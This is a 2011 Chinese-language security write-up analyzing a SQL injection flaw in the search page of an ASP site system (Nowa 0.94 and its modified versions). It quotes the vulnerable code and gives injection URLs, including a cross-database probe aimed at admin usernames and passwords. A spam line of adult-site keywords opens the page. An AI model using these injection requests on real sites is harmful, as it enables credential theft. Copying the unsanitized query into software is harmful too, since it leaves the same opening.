国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應用案例 網絡威脅系統(tǒng)安全 應用安全 數據安全 云安全

形象中國全站系統(tǒng)的搜索注入漏洞的一些分析

時間:2011-05-04 15:49來源: 點擊:
這個站點在當初被認為是比較安全的全站系統(tǒng),事實上現在也是。(后來的補丁里出現了上傳漏洞,不在討論之列。)因此這個系統(tǒng)被改編為很多版本。
Tags系統(tǒng)安全(735)注入(25)  

  首先聲明,這個漏洞不是我發(fā)現的,我只是作了一次的分析,不足之處請不吝指教。

  這個站點在當初被認為是比較安全的全站系統(tǒng),事實上現在也是。(后來的補丁里出現了上傳漏洞,不在討論之列。)因此這個系統(tǒng)被改編為很多版本:

  Nowa 0.94版本(原版)

  形象中國整站(修改版本)

  藍雨整站(修改版本)

  落日整站(修改版本)

  流星整站(修改版本)---------------------------------------------(感謝hak_ban提供)

  我的站http://www.918x.com就是這個系統(tǒng)的,還有很多的站點用到這個系統(tǒng)(包括小路的666w.com,嘿嘿)。

  我們先來看漏洞文件的原代碼:

  <%sub article_body()

  dim totalart,Currentpage,totalpages,i,j,colname

  openarticle

  sql="select art_id,cat_id,art_title,art_date,art_count from art order by art_date DESC"

  if request("cat_id")<>"" then

  sql="select art_id,cat_id,art_title,art_date,art_count from art where cat_id="&request("cat_id")&" order by art_date DESC"

  elseif request("keyword")<>"" then

  sql="select art_id,cat_id,art_title,art_date,art_count from art where "&request("select")&" like %"&request("keyword")&"%order by art_date DESC"

  elseif request("cat_id")<>"" and request("keyword")<>"" then

  sql="select art_id,cat_id,art_title,art_date,art_count from art where art_title or art_content like %"&request("keyword")&"%order by art_date DESC"

  end if

  set rs=server.createobject("adodb.recordset")

  rs.open sql,conn,1,1

  %>

  關鍵這句:sql="select art_id,cat_id,art_title,art_date,art_count from art where "&request("select")&" like %"&request("keyword")&"%order by art_date DESC"

  我們從另一個文件FORMAT.asp里發(fā)現文件對request的keyword變量進行了過濾,卻沒有對request的select進行有 效檢查。

  所以當我們提交(%20是空格)

  _title&keyword=1%20and%201=1" target=_blank>http://www.918x.com/article.asp?select=art_title&keyword=1%20and%201=1

  是不成功的,但是提交:

  _blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and%201=1

  _blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and%201=2

  就能成功的達到注入的目的。

  整個文章系統(tǒng)有兩處搜索,除了article.asp還有download.asp,于是看了看代碼,卻沒有發(fā)現&request("select"),而是直接把soft_name等放在查詢中,看起來好象這兩個查詢不是同一個人寫的。

  再來說說利用。我們知道,這個整站有5個,密碼保存在admin.mdb里(默認情況下)。

  而上述注入只是征對article.mdb的。我們最多能夠暴出article.mdb表里的數據。

  那能不能跨庫查詢呢?

  首先我必須知道保存admin的數據庫的名字,假設為admin.asp,我們還需要知道數據庫的物理路徑,假設為d:\web\data\ 然后如下查詢:

  _blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and %200<>(select%20count(*)%20from%20d:\web\data\admin.asp.admin%20where%20admin_name)

  _blank>http://www.918x.com/article.asp? keyword=1&select=art_title%20and %200<>(select%20count(*)%20from%20d:\web\data\admin.asp.admin%20where%20admin_password)

  返回成功,則說明有admin表和admin_name,admin_password列。

  接下來便可以注入,暴出用戶名和密碼來。我就不多說了,大家都會的。

  這種情況適用于

  1.知道數據庫的物理路徑

  2.數據庫不在可訪問的web目錄里,在上級目錄,或者其他地方,或者數據庫作了防下載處理(否則我們可以直接下載admin數據庫,又何必注入那么麻煩呢。)

  總的來說利用的價值不大,何況20040415的補丁使得密碼還是md5加密的

------分隔線----------------------------

推薦內容